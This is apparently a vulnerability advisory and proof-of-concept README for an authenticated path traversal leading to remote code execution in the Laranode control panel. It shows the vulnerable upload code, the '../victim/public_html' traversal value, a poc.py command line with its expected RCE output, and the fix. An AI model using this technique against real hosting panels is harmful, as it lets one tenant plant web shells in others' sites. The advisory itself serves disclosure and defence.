
Path Traversal -> RCE in Laranode < 1.2.1 (CWE-22). PoC + advisory writeup.
Authorized security research. PoC for defensive and educational use only.
Authenticated path traversal in the file-manager upload endpoint of Laranode lets a low-privileged tenant write arbitrary files outside their own home directory — including a PHP web shell into another tenant's web root — leading to remote code execution as that tenant.
| CVE | CVE-2026-100520 |
| Product | Laranode (multi-tenant hosting control panel, Laravel) |
| Affected | >= 0, < 1.2.1 |
| Fixed in | v1.2.1 |
| Vulnerability | Path Traversal (CWE-22) → Arbitrary File Write → RCE |
| Privileges | Authenticated (any low-priv panel user) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| Discovered by | Alisher Qarshibayev |
| Advisory | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php builds the destination path by directly
concatenating the user-supplied path and originalName request fields onto the
tenant's home directory — with no canonicalization and no traversal check:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- attacker controlled, not sanitized
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- traversal sink
File::append($path . '/' . $r->originalName, $file->get()); // <-- arbitrary write
The route is behind auth only — any authenticated tenant can reach it:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
Because path accepts ../ sequences, a value like ../victim/public_html escapes the
caller's home directory and lands the upload in another tenant's web root. Writing a
.php file there yields code execution the moment it is requested over HTTP.
Requirements: a valid low-privileged account on the target Laranode instance (this is the privilege the CVE assumes). The PoC logs in, pulls the CSRF token, and writes a marker PHP file into a sibling tenant's web root via traversal.
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
Expected result — the server confirms the write destination outside the attacker's home:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
See poc.py. The marker shell only runs id/uname to prove execution —
no destructive actions.
Upgrade to Laranode 1.2.1 (fix commit).
The fix normalizes the resolved path and rejects any destination that escapes the
tenant home directory (realpath() containment check). General guidance: never build
filesystem paths from raw user input — canonicalize and confirm the result stays within
an allowed base directory.
| Date | Event |
|---|---|
| 2026-09-21 | Public disclosure date |
| 2026-09-26 | CVE-2026-100520 reserved & published (VulnCheck) |
Responsibly disclosed to the vendor and coordinated through VulnCheck. Fixed in v1.2.1 before this PoC was released. Published for defensive and educational purposes.